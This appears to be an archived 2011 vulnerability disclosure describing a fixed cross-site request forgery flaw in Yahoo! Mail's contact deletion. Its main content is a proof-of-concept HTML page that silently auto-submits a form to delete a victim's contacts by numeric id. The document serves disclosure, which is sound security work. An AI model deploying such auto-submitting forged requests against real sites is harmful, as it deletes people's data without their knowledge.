exploit the possibilities

Yahoo! Mail Cross Site Request Forgery

Yahoo! Mail Cross Site Request Forgery
Posted Dec 4, 2011
Authored by Pratul Agrawal

Yahoo! Mail suffered from a delete contact cross site request forgery vulnerability. This has been fixed.

tags | exploit, csrf
MD5 | fe436fbee0c4590ef8973557374f77ac

Yahoo! Mail Cross Site Request Forgery

Change Mirror Download
                                =======================================================================

YAHOOMAIL CSRF Vulnerability

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# Vulnerability found in- Yahoomail Delete Contact module

# email prakhar.agrawal26@gmail.com

# company AKS IT Services Pvt. Ltd

# Credit by Prakar Agrawal

# Email Service Yahoomail

# Category Mail service

# Site p4ge http://www.yahoomail.com

# Plateform java


# Proof of concept #

Targeted URL: http://address.mail.yahoo.com/


Script to Delete the contacts from contact list through Cross Site request forgery

. ................................................................................................................

<html>
<body>
<form name="csrf" action="http://us.mg5.mail.yahoo.com/yab-fe/mu/DeleteContact.json?" method="POST">
<input type=hidden name="action" value="delete_contacts">
<input type=hidden name="id" value="$Numeric No.$">
</form>
<script>document.csrf.submit();</script>
</body>
</html>


. ..................................................................................................................

Put any Numeric No. (i.e 1,2,3,4 etc) in id field parameter and try to forge the functionality. its working.....

# If you have any questions, comments, or concerns, feel free to contact me.

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